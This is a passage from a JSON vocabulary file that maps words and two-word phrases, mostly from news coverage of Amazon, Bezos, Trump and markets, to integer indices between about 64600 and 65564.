foundations\": 64601,\n  \"billion train\": 64602,\n  \"force says\": 64603,\n  \"patrick whitesell\": 64604,\n  \"delong emilian\": 64605,\n  \"amazon dam\": 64606,\n  \"basement\": 64607,\n  \"pick trump\": 64608,\n  \"amazon helped\": 64609,\n  \"virginia tech\": 64610,\n  \"bezos accusing\": 64611,\n  \"referenced\": 64612,\n  \"member ritchie\": 64613,\n  \"trade associations\": 64614,\n  \"general amazon\": 64615,\n  \"trademarks earlier\": 64616,\n  \"wapo rachel\": 64617,\n  \"germany chancellor\": 64618,\n  \"walmart reuters\": 64619,\n  \"getting big\": 64620,\n  \"explosive congressional\": 64621,\n  \"reported shipping\": 64622,\n  \"2015 bezos\": 64623,\n  \"ran jim\": 64624,\n  \"fc\": 64625,\n  \"accused bezos\": 64626,\n  \"younger activists\": 64627,\n  \"house hopefuls\": 64628,\n  \"treating conservatives\": 64629,\n  \"publishing multiple\": 64630,\n  \"amzn setting\": 64631,\n  \"lost qualms\": 64632,\n  \"bumblebee sneak\": 64633,\n  \"federal deputy\": 64634,\n  \"regrettable\": 64635,\n  \"initially obtained\": 64636,\n  \"moron\": 64637,\n  \"deutsch fretted\": 64638,\n  \"page wasn\": 64639,\n  \"immigration iq\": 64640,\n  \"seeing red\": 64641,\n  \"imposing\": 64642,\n  \"disclosures dismay\": 64643,\n  \"office addresses\": 64644,\n  \"initiatives meant\": 64645,\n  \"continuing criticism\": 64646,\n  \"device recorded\": 64647,\n  \"capitol rotunda\": 64648,\n  \"program dsp\": 64649,\n  \"spanish broadcasting\": 64650,\n  \"characteristic rapid\": 64651,\n  \"____________________________today\": 64652,\n  \"debunking sanders\": 64653,\n  \"locale shapes\": 64654,\n  \"wonder beauty\": 64655,\n  \"stocks retreated\": 64656,\n  \"criticism began\": 64657,\n  \"oaktrees howard\": 64658,\n  \"reportedly receive\": 64659,\n  \"125\": 64660,\n  \"bezos measures\": 64661,\n  \"national unity\": 64662,\n  \"available evidence\": 64663,\n  \"airport designated\": 64664,\n  \"lawbreaker carmen\": 64665,\n  \"adbe\": 64666,\n  \"amazonhq2 amazongiveaway\": 64667,\n  \"complete opposite\": 64668,\n  \"idyllic town\": 64669,\n  \"newyork\": 64670,\n  \"law required\": 64671,\n  \"national telecommunications\": 64672,\n  \"firm cites\": 64673,\n  \"impulsive\": 64674,\n  \"finish counting\": 64675,\n  \"story fear\": 64676,\n  \"different vaccines\": 64677,\n  \"wendell pierce\": 64678,\n  \"ceo explicit\": 64679,\n  \"photographer courtesy\": 64680,\n  \"paper published\": 64681,\n  \"president avoid\": 64682,\n  \"combined ken\": 64683,\n  \"effectively increase\": 64684,\n  \"law sparked\": 64685,\n  \"post union\": 64686,\n  \"gulftimes white\": 64687,\n  \"french american\": 64688,\n  \"johnson stood\": 64689,\n  \"people coming\": 64690,\n  \"reduce amazon\": 64691,\n  \"thanksgiving weekend\": 64692,\n  \"shane mccauley\": 64693,\n  \"ainsley earhardt\": 64694,\n  \"cape explains\": 64695,\n  \"continued praise\": 64696,\n  \"023\": 64697,\n  \"market fears\": 64698,\n  \"global accounting\": 64699,\n  \"does deep\": 64700,\n  \"guaranteed distribution\": 64701,\n  \"outperformance\": 64702,\n  \"primacy\": 64703,\n  \"listing accounts\": 64704,\n  \"new tribes\": 64705,\n  \"supply space\": 64706,\n  \"reich discusses\": 64707,\n  \"hammond spokesperson\": 64708,\n  \"unregulated agribusiness\": 64709,\n  \"lee wyden\": 64710,\n  \"sleeved model\": 64711,\n  \"shares los\": 64712,\n  \"newspaper criticism\": 64713,\n  \"bogle\": 64714,\n  \"trail devil\": 64715,\n  \"virginia 2018\": 64716,\n  \"area serves\": 64717,\n  \"plowshares\": 64718,\n  \"rose internet\": 64719,\n  \"age pensions\": 64720,\n  \"cart adobe\": 64721,\n  \"politiciansreally wanted\": 64722,\n  \"dark forces\": 64723,\n  \"veteran republican\": 64724,\n  \"washington trump\": 64725,\n  \"new connections\": 64726,\n  \"props\": 64727,\n  \"includes amazon\": 64728,\n  \"reporter dan\": 64729,\n  \"hostilities\": 64730,\n  \"trump feeds\": 64731,\n  \"extraordinary power\": 64732,\n  \"pilot progam\": 64733,\n  \"signal unwinding\": 64734,\n  \"result companies\": 64735,\n  \"difference bezos\": 64736,\n  \"ranking officials\": 64737,\n  \"offing\": 64738,\n  \"fist bump\": 64739,\n  \"criticisms haven\": 64740,\n  \"fighting bashar\": 64741,\n  \"annual self\": 64742,\n  \"paste\": 64743,\n  \"free trial\": 64744,\n  \"apparently\": 64745,\n  \"teo simon\": 64746,\n  \"suing\": 64747,\n  \"containerel currentvideocollection\": 64748,\n  \"zuckerberg marketing\": 64749,\n  \"response team\": 64750,\n  \"today jeffery\": 64751,\n  \"sent president\": 64752,\n  \"disclose receiving\": 64753,\n  \"boosts\": 64754,\n  \"reinstate cnn\": 64755,\n  \"fine asked\": 64756,\n  \"work mouse\": 64757,\n  \"privacy rekognition\": 64758,\n  \"fact checker\": 64759,\n  \"party fueling\": 64760,\n  \"scandalous text\": 64761,\n  \"asks\": 64762,\n  \"1011thewiz\": 64763,\n  \"deal looks\": 64764,\n  \"company spokeswoman\": 64765,\n  \"miljard waard\": 64766,\n  \"memorable\": 64767,\n  \"holographic\": 64768,\n  \"systematic\": 64769,\n  \"overdose deaths\": 64770,\n  \"softly\": 64771,\n  \"shortstop wizards\": 64772,\n  \"dowd chris\": 64773,\n  \"trade issues\": 64774,\n  \"jokingly propositioned\": 64775,\n  \"stuart says\": 64776,\n  \"chevy\": 64777,\n  \"critical describing\": 64778,\n  \"amazon hyper\": 64779,\n  \"appease regulators\": 64780,\n  \"tine\": 64781,\n  \"external links\": 64782,\n  \"tv cheddar\": 64783,\n  \"video later\": 64784,\n  \"environmental protection\": 64785,\n  \"visceral\": 64786,\n  \"amazon crowdsourced\": 64787,\n  \"founder alexis\": 64788,\n  \"undeniably important\": 64789,\n  \"appropriators inthis\": 64790,\n  \"axios schiff\": 64791,\n  \"paid jolley\": 64792,\n  \"years fineman\": 64793,\n  \"communities\": 64794,\n  \"politician crossed\": 64795,\n  \"companies develop\": 64796,\n  \"used\": 64797,\n  \"divert attention\": 64798,\n  \"need anymore\": 64799,\n  \"mcnew imagealt\": 64800,\n  \"losses writing\": 64801,\n  \"display ad\": 64802,\n  \"nation military\": 64803,\n  \"multiple absentee\": 64804,\n  \"twitter spat\": 64805,\n  \"possible fyre\": 64806,\n  \"michelle wolfs\": 64807,\n  \"similar transactions\": 64808,\n  \"growing debate\": 64809,\n  \"subpoeana\": 64810,\n  \"block\": 64811,\n  \"york unparalleled\": 64812,\n  \"people thought\": 64813,\n  \"planning software\": 64814,\n  \"tricky position\": 64815,\n  \"memphis fedex\": 64816,\n  \"borowitz report\": 64817,\n  \"slew ofphone\": 64818,\n  \"commissioner putnam\": 64819,\n  \"cited targets\": 64820,\n  \"nought bupkiss\": 64821,\n  \"usa regulators\": 64822,\n  \"gained don\": 64823,\n  \"wage practices\": 64824,\n  \"article appeared\": 64825,\n  \"standoff video\": 64826,\n  \"giving detailed\": 64827,\n  \"w9x b3x\": 64828,\n  \"defense marines\": 64829,\n  \"average added\": 64830,\n  \"criticized big\": 64831,\n  \"just stone\": 64832,\n  \"read making\": 64833,\n  \"helipad\": 64834,\n  \"post cares\": 64835,\n  \"average edged\": 64836,\n  \"careful valerie\": 64837,\n  \"immigration order\": 64838,\n  \"makes hundreds\": 64839,\n  \"religious belief\": 64840,\n  \"details covfefe\": 64841,\n  \"customer experiences\": 64842,\n  \"veena sud\": 64843,\n  \"foreclosure king\": 64844,\n  \"reap program\": 64845,\n  \"rossignol reuters\": 64846,\n  \"authors including\": 64847,\n  \"high regard\": 64848,\n  \"leftist outlet\": 64849,\n  \"makes court\": 64850,\n  \"modernizr tablet\": 64851,\n  \"lower mortgage\": 64852,\n  \"wnf new\": 64853,\n  \"millercoors\": 64854,\n  \"known longtime\": 64855,\n  \"reef\": 64856,\n  \"especially vocal\": 64857,\n  \"finally want\": 64858,\n  \"sinema\": 64859,\n  \"point selloff\": 64860,\n  \"countless writers\": 64861,\n  \"humans new\": 64862,\n  \"relatable\": 64863,\n  \"rose postmaster\": 64864,\n  \"treasonpuddles puddlestreason\": 64865,\n  \"metropolitan space\": 64866,\n  \"backlash monica\": 64867,\n  \"rhino\": 64868,\n  \"selling victoria\": 64869,\n  \"a266 0cbed4decce7\": 64870,\n  \"gigantic society\": 64871,\n  \"support propaganda\": 64872,\n  \"war 2018\": 64873,\n  \"example galloway\": 64874,\n  \"cornerstones\": 64875,\n  \"uber casual\": 64876,\n  \"ncluding\": 64877,\n  \"distracted bezos\": 64878,\n  \"studios oscar\": 64879,\n  \"scale packages\": 64880,\n  \"personal emails\": 64881,\n  \"marketwatch personal\": 64882,\n  \"thing devouring\": 64883,\n  \"national competitions\": 64884,\n  \"trump snagged\": 64885,\n  \"nearby suburb\": 64886,\n  \"cogniae\": 64887,\n  \"today correspondent\": 64888,\n  \"million jobs\": 64889,\n  \"god cop\": 64890,\n  \"annual delivering\": 64891,\n  \"frequent regional\": 64892,\n  \"abortion human\": 64893,\n  \"technological prowess\": 64894,\n  \"biding\": 64895,\n  \"gains 2018\": 64896,\n  \"turnaround\": 64897,\n  \"mean getting\": 64898,\n  \"streaming film\": 64899,\n  \"times paloma\": 64900,\n  \"orange balloon\": 64901,\n  \"booking expensive\": 64902,\n  \"political views\": 64903,\n  \"jon campbell\": 64904,\n  \"second novel\": 64905,\n  \"dollar mark\": 64906,\n  \"amira\": 64907,\n  \"stock movements\": 64908,\n  \"awaited spendingcompromise\": 64909,\n  \"turned business\": 64910,\n  \"helping save\": 64911,\n  \"novelists\": 64912,\n  \"production deal\": 64913,\n  \"magazine careful\": 64914,\n  \"sokolsky\": 64915,\n  \"improving responsiveness\": 64916,\n  \"inputs\": 64917,\n  \"owns skype\": 64918,\n  \"warehous amazon\": 64919,\n  \"single parents\": 64920,\n  \"york did\": 64921,\n  \"increase toronto\": 64922,\n  \"cosplay\": 64923,\n  \"fair oscar\": 64924,\n  \"including prominent\": 64925,\n  \"new excessive\": 64926,\n  \"cnn stock\": 64927,\n  \"cortez opposition\": 64928,\n  \"company tens\": 64929,\n  \"unified\": 64930,\n  \"painful\": 64931,\n  \"opposition sue\": 64932,\n  \"quartz explained\": 64933,\n  \"cellphone\": 64934,\n  \"man penis\": 64935,\n  \"ryan 2005\": 64936,\n  \"intelligence official\": 64937,\n  \"facebook ads\": 64938,\n  \"years working\": 64939,\n  \"david cassell\": 64940,\n  \"missing journalist\": 64941,\n  \"warnings amazon\": 64942,\n  \"online communicate\": 64943,\n  \"runners\": 64944,\n  \"nbc\": 64945,\n  \"deals trump\": 64946,\n  \"synagogue\": 64947,\n  \"mainland police\": 64948,\n  \"possible efforts\": 64949,\n  \"postcode\": 64950,\n  \"real privatization\": 64951,\n  \"chernow hit\": 64952,\n  \"involved icymi\": 64953,\n  \"expenses liquid\": 64954,\n  \"throughs\": 64955,\n  \"completely wire\": 64956,\n  \"biggest funder\": 64957,\n  \"expansion provisions\": 64958,\n  \"reserve board\": 64959,\n  \"khairul woman\": 64960,\n  \"practice isn\": 64961,\n  \"matching pyjamas\": 64962,\n  \"apparently hastily\": 64963,\n  \"infinitum\": 64964,\n  \"wrote forrester\": 64965,\n  \"lennon wasn\": 64966,\n  \"drop torel\": 64967,\n  \"indispensable morning\": 64968,\n  \"amc\": 64969,\n  \"emergency mcconnell\": 64970,\n  \"says wants\": 64971,\n  \"driverless platooning\": 64972,\n  \"president attacking\": 64973,\n  \"mud amazon\": 64974,\n  \"diaper bags\": 64975,\n  \"networking website\": 64976,\n  \"closed higher\": 64977,\n  \"smith people\": 64978,\n  \"follower gov\": 64979,\n  \"footprints\": 64980,\n  \"players globaldata\": 64981,\n  \"companies apparel\": 64982,\n  \"sacred sites\": 64983,\n  \"katz cowley\": 64984,\n  \"pricing affects\": 64985,\n  \"sustained production\": 64986,\n  \"candidacy fearful\": 64987,\n  \"rider\": 64988,\n  \"classmate killing\": 64989,\n  \"dimming\": 64990,\n  \"equipment\": 64991,\n  \"currentvideoid var\": 64992,\n  \"energy commitments\": 64993,\n  \"blocked obama\": 64994,\n  \"synergize\": 64995,\n  \"dod cronyism\": 64996,\n  \"fb servicenow\": 64997,\n  \"pledged 400\": 64998,\n  \"ongoing rumors\": 64999,\n  \"correspondence number\": 65000,\n  \"classic horatio\": 65001,\n  \"selling goods\": 65002,\n  \"music production\": 65003,\n  \"3k people\": 65004,\n  \"commodities purchases\": 65005,\n  \"tech rich\": 65006,\n  \"including house\": 65007,\n  \"commonality\": 65008,\n  \"reportedly obsessed\": 65009,\n  \"ravi agrawal\": 65010,\n  \"amazon home\": 65011,\n  \"massively increase\": 65012,\n  \"elise jordan\": 65013,\n  \"marketplaces navarro\": 65014,\n  \"using drugs\": 65015,\n  \"right haverty\": 65016,\n  \"time managed\": 65017,\n  \"amazon restaurants\": 65018,\n  \"regulation risk\": 65019,\n  \"stock really\": 65020,\n  \"sack satchel\": 65021,\n  \"timers tutor\": 65022,\n  \"candidates criticizing\": 65023,\n  \"exploding commerce\": 65024,\n  \"feet\": 65025,\n  \"indicator\": 65026,\n  \"central user\": 65027,\n  \"post employees\": 65028,\n  \"service caused\": 65029,\n  \"dead far\": 65030,\n  \"does return\": 65031,\n  \"pratt profile\": 65032,\n  \"cuts helped\": 65033,\n  \"s9x u0\": 65034,\n  \"13270229011\": 65035,\n  \"candidate trump\": 65036,\n  \"following recommendations\": 65037,\n  \"rope tree\": 65038,\n  \"commerce free\": 65039,\n  \"nonprofit james\": 65040,\n  \"fischer added\": 65041,\n  \"company wsj\": 65042,\n  \"bezos watch\": 65043,\n  \"deported nearly\": 65044,\n  \"allowing anti\": 65045,\n  \"zoya teirstein\": 65046,\n  \"creator robbie\": 65047,\n  \"nationwide including\": 65048,\n  \"places iq\": 65049,\n  \"data suggests\": 65050,\n  \"workers seized\": 65051,\n  \"jong\": 65052,\n  \"progressive new\": 65053,\n  \"fence don\": 65054,\n  \"war tweet\": 65055,\n  \"jpmorgan amazon\": 65056,\n  \"signup\": 65057,\n  \"raise improved\": 65058,\n  \"read gear\": 65059,\n  \"actively pursuing\": 65060,\n  \"china grows\": 65061,\n  \"layover\": 65062,\n  \"low key\": 65063,\n  \"persistently fact\": 65064,\n  \"plateau\": 65065,\n  \"conversation prince\": 65066,\n  \"financial inequality\": 65067,\n  \"gain share\": 65068,\n  \"heralded\": 65069,\n  \"bezos suspected\": 65070,\n  \"implicated president\": 65071,\n  \"ends\": 65072,\n  \"trump director\": 65073,\n  \"service ultimately\": 65074,\n  \"dealer dailycaller\": 65075,\n  \"response russia\": 65076,\n  \"leader market\": 65077,\n  \"expose boyle\": 65078,\n  \"leaving skeptics\": 65079,\n  \"wildfires animal\": 65080,\n  \"jbl headphones\": 65081,\n  \"chess timers\": 65082,\n  \"training session\": 65083,\n  \"deemed necessary\": 65084,\n  \"cited studies\": 65085,\n  \"figures including\": 65086,\n  \"technology conference\": 65087,\n  \"stan beeman\": 65088,\n  \"viverito says\": 65089,\n  \"stoking demand\": 65090,\n  \"tentative opening\": 65091,\n  \"court decided\": 65092,\n  \"composite plunged\": 65093,\n  \"presstv\": 65094,\n  \"did business\": 65095,\n  \"daily tweeting\": 65096,\n  \"rss update\": 65097,\n  \"trump inspired\": 65098,\n  \"retail including\": 65099,\n  \"prime day\": 65100,\n  \"believe walmart\": 65101,\n  \"jason bourne\": 65102,\n  \"thing president\": 65103,\n  \"long comedy\": 65104,\n  \"continuing resolution\": 65105,\n  \"oppo branded\": 65106,\n  \"pop day\": 65107,\n  \"higher secondary\": 65108,\n  \"v4e\": 65109,\n  \"just lead\": 65110,\n  \"nys senate\": 65111,\n  \"rally george\": 65112,\n  \"dreadful\": 65113,\n  \"passed new\": 65114,\n  \"sculpted\": 65115,\n  \"freed sent\": 65116,\n  \"uncle\": 65117,\n  \"corporate city\": 65118,\n  \"bundles\": 65119,\n  \"past month\": 65120,\n  \"tellingly michael\": 65121,\n  \"months old\": 65122,\n  \"trump fits\": 65123,\n  \"amazon shows\": 65124,\n  \"iphone given\": 65125,\n  \"buy low\": 65126,\n  \"manuel balce\": 65127,\n  \"fallout\": 65128,\n  \"assets 181004033404\": 65129,\n  \"afraid terrible\": 65130,\n  \"facebook dozens\": 65131,\n  \"just\": 65132,\n  \"2000s france\": 65133,\n  \"eric heyer\": 65134,\n  \"height 100\": 65135,\n  \"massacre\": 65136,\n  \"additionally notes\": 65137,\n  \"donators\": 65138,\n  \"financial companies\": 65139,\n  \"congress voted\": 65140,\n  \"computing cloud\": 65141,\n  \"cbs cuts\": 65142,\n  \"dunkin brand\": 65143,\n  \"161 ken\": 65144,\n  \"cyclical industries\": 65145,\n  \"report worst\": 65146,\n  \"formed groups\": 65147,\n  \"tracy new\": 65148,\n  \"counterfeit bluetooth\": 65149,\n  \"watch program\": 65150,\n  \"court watchers\": 65151,\n  \"tickets vacation\": 65152,\n  \"multiple times\": 65153,\n  \"747s\": 65154,\n  \"ensnared michael\": 65155,\n  \"policy analysis\": 65156,\n  \"inc_show_read_moreflag\": 65157,\n  \"worth investing\": 65158,\n  \"figure ignoring\": 65159,\n  \"foxconn hasn\": 65160,\n  \"using federal\": 65161,\n  \"bit crazy\": 65162,\n  \"ultimate exposure\": 65163,\n  \"stiff\": 65164,\n  \"policy foundation\": 65165,\n  \"needs politico\": 65166,\n  \"carl linnaeus\": 65167,\n  \"worst fear\": 65168,\n  \"random just\": 65169,\n  \"male thought\": 65170,\n  \"looked relatively\": 65171,\n  \"session record\": 65172,\n  \"immaculate dresser\": 65173,\n  \"amazon washington\": 65174,\n  \"ratings\": 65175,\n  \"reasons including\": 65176,\n  \"badly amazon\": 65177,\n  \"product marketed\": 65178,\n  \"wages\": 65179,\n  \"ruler crown\": 65180,\n  \"brand strategy\": 65181,\n  \"sexy time\": 65182,\n  \"becker considered\": 65183,\n  \"including consumer\": 65184,\n  \"homrich berg\": 65185,\n  \"hoax resulted\": 65186,\n  \"gandel train\": 65187,\n  \"suggest\": 65188,\n  \"getting bigger\": 65189,\n  \"author ron\": 65190,\n  \"talese\": 65191,\n  \"image getty_173218731_200015422000928060\": 65192,\n  \"banners\": 65193,\n  \"jason chaffetz\": 65194,\n  \"visible politicians\": 65195,\n  \"doing lot\": 65196,\n  \"incorporated california\": 65197,\n  \"air air\": 65198,\n  \"cloud chump\": 65199,\n  \"russian intelligence\": 65200,\n  \"decade saving\": 65201,\n  \"website axios\": 65202,\n  \"report card\": 65203,\n  \"realme amazon\": 65204,\n  \"premium content\": 65205,\n  \"cruciferous healing\": 65206,\n  \"author helon\": 65207,\n  \"sexual text\": 65208,\n  \"ami amazon\": 65209,\n  \"government reform\": 65210,\n  \"really happened\": 65211,\n  \"larger interview\": 65212,\n  \"james quincy\": 65213,\n  \"democrat introduced\": 65214,\n  \"carbon reservoirs\": 65215,\n  \"latest generation\": 65216,\n  \"clarkston\": 65217,\n  \"primary cause\": 65218,\n  \"wash took\": 65219,\n  \"foreign correspondent\": 65220,\n  \"primary lead\": 65221,\n  \"barons bribing\": 65222,\n  \"eley\": 65223,\n  \"attributions\": 65224,\n  \"food restaurant\": 65225,\n  \"emerson bezos\": 65226,\n  \"netflix new\": 65227,\n  \"barangay\": 65228,\n  \"series used\": 65229,\n  \"alex kimani\": 65230,\n  \"robot lawn\": 65231,\n  \"hectored\": 65232,\n  \"chase\": 65233,\n  \"asking stupid\": 65234,\n  \"gaining ground\": 65235,\n  \"happens\": 65236,\n  \"weregoing\": 65237,\n  \"fundamentally wrong\": 65238,\n  \"means washington\": 65239,\n  \"herrera beutler\": 65240,\n  \"don attract\": 65241,\n  \"iron fist\": 65242,\n  \"illustration woman\": 65243,\n  \"payments service\": 65244,\n  \"canceling residents\": 65245,\n  \"visible company\": 65246,\n  \"winner andr\\u00e9\": 65247,\n  \"epa administrator\": 65248,\n  \"rourke ap\": 65249,\n  \"using television\": 65250,\n  \"rising nationalism\": 65251,\n  \"forcing sites\": 65252,\n  \"alexandia ocasio\": 65253,\n  \"avoid european\": 65254,\n  \"android operating\": 65255,\n  \"including nearby\": 65256,\n  \"company appointed\": 65257,\n  \"symb amzn\": 65258,\n  \"campaign arm\": 65259,\n  \"million annually\": 65260,\n  \"sarah sanders\": 65261,\n  \"successful fba\": 65262,\n  \"rivals urged\": 65263,\n  \"trumpmoments411 status\": 65264,\n  \"gather information\": 65265,\n  \"dodge moser\": 65266,\n  \"try weed\": 65267,\n  \"ruling01\": 65268,\n  \"corporate strategy\": 65269,\n  \"dow skid\": 65270,\n  \"media spokesman\": 65271,\n  \"signing major\": 65272,\n  \"andover massachusetts\": 65273,\n  \"capital raises\": 65274,\n  \"hannibal\": 65275,\n  \"laura boedeker\": 65276,\n  \"tracee ellis\": 65277,\n  \"tuck\": 65278,\n  \"currently performing\": 65279,\n  \"month lows\": 65280,\n  \"offerings higher\": 65281,\n  \"adjusted annual\": 65282,\n  \"productivity costs\": 65283,\n  \"consumers order\": 65284,\n  \"denver\": 65285,\n  \"snapshot\": 65286,\n  \"tablet\": 65287,\n  \"leading fundraiser\": 65288,\n  \"allow unfettered\": 65289,\n  \"pursuits\": 65290,\n  \"announced contained\": 65291,\n  \"credible warning\": 65292,\n  \"isn apparent\": 65293,\n  \"income limits\": 65294,\n  \"david blight\": 65295,\n  \"5067014667001 default_default\": 65296,\n  \"early amazon\": 65297,\n  \"deepwater\": 65298,\n  \"roughly 880\": 65299,\n  \"denied oracle\": 65300,\n  \"carberry chief\": 65301,\n  \"term investments\": 65302,\n  \"usnews\": 65303,\n  \"stifling free\": 65304,\n  \"estimated trillion\": 65305,\n  \"environmental agencies\": 65306,\n  \"jobs wages\": 65307,\n  \"twitter broadsides\": 65308,\n  \"administration departures\": 65309,\n  \"donnie\": 65310,\n  \"krauthammer tribute\": 65311,\n  \"cameras smart\": 65312,\n  \"meyersohn\": 65313,\n  \"ruiz miyares\": 65314,\n  \"tight rein\": 65315,\n  \"senior leaders\": 65316,\n  \"time hope\": 65317,\n  \"bezos carrying\": 65318,\n  \"cybersecurity nearly\": 65319,\n  \"laws including\": 65320,\n  \"crocodile\": 65321,\n  \"mt tech\": 65322,\n  \"trade parade\": 65323,\n  \"delivery shows\": 65324,\n  \"foes\": 65325,\n  \"prevent forest\": 65326,\n  \"sectors chestnut\": 65327,\n  \"public views\": 65328,\n  \"memphis logistics\": 65329,\n  \"price image\": 65330,\n  \"fighting prevailing\": 65331,\n  \"real action\": 65332,\n  \"walmart criticized\": 65333,\n  \"street strategist\": 65334,\n  \"starting today\": 65335,\n  \"difficult situation\": 65336,\n  \"snead\": 65337,\n  \"somewhat sleazy\": 65338,\n  \"crandall\": 65339,\n  \"prospectors developers\": 65340,\n  \"executive management\": 65341,\n  \"governor newsom\": 65342,\n  \"people obviously\": 65343,\n  \"moment evidence\": 65344,\n  \"role similar\": 65345,\n  \"presence data\": 65346,\n  \"cross hairs\": 65347,\n  \"company acts\": 65348,\n  \"flaunting\": 65349,\n  \"field progress\": 65350,\n  \"2015 great\": 65351,\n  \"mortgage charitable\": 65352,\n  \"divorced earlier\": 65353,\n  \"don misunderstand\": 65354,\n  \"george mccabe\": 65355,\n  \"party writes\": 65356,\n  \"drafting legislation\": 65357,\n  \"published sex\": 65358,\n  \"amazon near\": 65359,\n  \"passions choose\": 65360,\n  \"outselling\": 65361,\n  \"stunning account\": 65362,\n  \"grueling hours\": 65363,\n  \"ticker tape\": 65364,\n  \"easing geopolitical\": 65365,\n  \"light shares\": 65366,\n  \"revenge tweet\": 65367,\n  \"entertainment lawyer\": 65368,\n  \"funded venture\": 65369,\n  \"episodes feature\": 65370,\n  \"based employees\": 65371,\n  \"amzn new\": 65372,\n  \"notable addition\": 65373,\n  \"mena massoud\": 65374,\n  \"colbert interviewed\": 65375,\n  \"clifford says\": 65376,\n  \"amazon past\": 65377,\n  \"weapons base\": 65378,\n  \"chris plante\": 65379,\n  \"logistics experience\": 65380,\n  \"did rise\": 65381,\n  \"area near\": 65382,\n  \"novelty socks\": 65383,\n  \"yummy\": 65384,\n  \"legislation called\": 65385,\n  \"sec creative\": 65386,\n  \"donut\": 65387,\n  \"biggest businesses\": 65388,\n  \"2009 trump\": 65389,\n  \"pittsburgh 2018\": 65390,\n  \"lab\": 65391,\n  \"information assortment\": 65392,\n  \"american films\": 65393,\n  \"godfather apos\": 65394,\n  \"everyday men\": 65395,\n  \"nevertrump buddies\": 65396,\n  \"politics avoiding\": 65397,\n  \"significant expansion\": 65398,\n  \"dodges taxes\": 65399,\n  \"best airport\": 65400,\n  \"democratic gov\": 65401,\n  \"gold los\": 65402,\n  \"really parallels\": 65403,\n  \"dysfunctional trump\": 65404,\n  \"fund private\": 65405,\n  \"mmv law\": 65406,\n  \"salready\": 65407,\n  \"australian prime\": 65408,\n  \"china trademark\": 65409,\n  \"boeing rexnord\": 65410,\n  \"kids wearing\": 65411,\n  \"santti13\": 65412,\n  \"cto kimber\": 65413,\n  \"need explained\": 65414,\n  \"mulroney reunite\": 65415,\n  \"rodeo says\": 65416,\n  \"technologies harmful\": 65417,\n  \"region looks\": 65418,\n  \"sleeve dress\": 65419,\n  \"address consumer\": 65420,\n  \"oppose\": 65421,\n  \"manuel roig\": 65422,\n  \"marks time\": 65423,\n  \"republicans sitting\": 65424,\n  \"seditious\": 65425,\n  \"amazon agreement\": 65426,\n  \"seconds afghanistan\": 65427,\n  \"seeks applications\": 65428,\n  \"tv shows\": 65429,\n  \"reuters new\": 65430,\n  \"personalize\": 65431,\n  \"americans prioritize\": 65432,\n  \"laws need\": 65433,\n  \"dc chamber\": 65434,\n  \"management ceo\": 65435,\n  \"taxed newsweek\": 65436,\n  \"expenses amazon\": 65437,\n  \"giant cisco\": 65438,\n  \"asks williams\": 65439,\n  \"loopholes prior\": 65440,\n  \"business tech\": 65441,\n  \"possible income\": 65442,\n  \"income unless\": 65443,\n  \"ressa philippine\": 65444,\n  \"ran thorough\": 65445,\n  \"design new\": 65446,\n  \"read justin\": 65447,\n  \"tiptoe\": 65448,\n  \"laborers\": 65449,\n  \"bezos deservedly\": 65450,\n  \"history including\": 65451,\n  \"defensive driving\": 65452,\n  \"quite strong\": 65453,\n  \"caravan crisis\": 65454,\n  \"terrorist plot\": 65455,\n  \"pecker recently\": 65456,\n  \"schaeffer senior\": 65457,\n  \"state relation\": 65458,\n  \"estate developers\": 65459,\n  \"cohen testifies\": 65460,\n  \"weekly calls\": 65461,\n  \"sadistic abuse\": 65462,\n  \"impeachobama obamagate\": 65463,\n  \"bezos lead\": 65464,\n  \"state media\": 65465,\n  \"mistakenly chose\": 65466,\n  \"legal counsel\": 65467,\n  \"bombing targets\": 65468,\n  \"second email\": 65469,\n  \"farcical commercial\": 65470,\n  \"gnostic\": 65471,\n  \"institute rebecca\": 65472,\n  \"animal languages\": 65473,\n  \"carrie mathison\": 65474,\n  \"cincinnati\": 65475,\n  \"delivery challenges\": 65476,\n  \"amazon coinciding\": 65477,\n  \"manager survey\": 65478,\n  \"currently underutilized\": 65479,\n  \"steamy texts\": 65480,\n  \"showname\": 65481,\n  \"guardians hale\": 65482,\n  \"live inside\": 65483,\n  \"google father\": 65484,\n  \"good book\": 65485,\n  \"mortal danger\": 65486,\n  \"headlines bs_bullet_primary\": 65487,\n  \"commercial break\": 65488,\n  \"souvenirs\": 65489,\n  \"commercial bank\": 65490,\n  \"royal wedding\": 65491,\n  \"antitrust inv\": 65492,\n  \"briefing newsletter\": 65493,\n  \"better lawyer\": 65494,\n  \"referenda\": 65495,\n  \"legislative clarity\": 65496,\n  \"function f4\": 65497,\n  \"growing usps\": 65498,\n  \"racist sandwich\": 65499,\n  \"forthe\": 65500,\n  \"cannes film\": 65501,\n  \"rival consoles\": 65502,\n  \"public schools\": 65503,\n  \"probes alleged\": 65504,\n  \"rep suzan\": 65505,\n  \"highest union\": 65506,\n  \"text\": 65507,\n  \"violated apple\": 65508,\n  \"match walmart\": 65509,\n  \"fink jim\": 65510,\n  \"pritchard taught\": 65511,\n  \"private intelligence\": 65512,\n  \"department warns\": 65513,\n  \"trump needs\": 65514,\n  \"dannyzuker verbally\": 65515,\n  \"deal possible\": 65516,\n  \"fighting housing\": 65517,\n  \"faced split\": 65518,\n  \"vulnerability michelle\": 65519,\n  \"clinton campaign\": 65520,\n  \"instead senator\": 65521,\n  \"rate herera\": 65522,\n  \"cheater\": 65523,\n  \"tributes\": 65524,\n  \"control coverage\": 65525,\n  \"google ai\": 65526,\n  \"src r4ee\": 65527,\n  \"patriarchy\": 65528,\n  \"services mnuchin\": 65529,\n  \"analyst mark\": 65530,\n  \"melancholy spy\": 65531,\n  \"ilsr calculation\": 65532,\n  \"anticipating quick\": 65533,\n  \"cnn photographer\": 65534,\n  \"certificates issued\": 65535,\n  \"foggy\": 65536,\n  \"provided amazon\": 65537,\n  \"yanagihara\": 65538,\n  \"mailers telling\": 65539,\n  \"area overall\": 65540,\n  \"mud says\": 65541,\n  \"retail initiatives\": 65542,\n  \"walmart stated\": 65543,\n  \"subsidize amazon\": 65544,\n  \"topsellers\\u0430list\": 65545,\n  \"faces slowing\": 65546,\n  \"375 000\": 65547,\n  \"opioids coupled\": 65548,\n  \"sell button\": 65549,\n  \"audits\": 65550,\n  \"pentagon spokesperson\": 65551,\n  \"anonymous washington\": 65552,\n  \"obligations says\": 65553,\n  \"levy\": 65554,\n  \"ari melber\": 65555,\n  \"investments kevin\": 65556,\n  \"prime loyalty\": 65557,\n  \"democrats officially\": 65558,\n  \"pause lic\": 65559,\n  \"hq2 incentives\": 65560,\n  \"member met\": 65561,\n  \"different channels\": 65562,\n  \"critics improperly\": 65563,\n  \"market consider\": 65564,\n  \"wechat\": 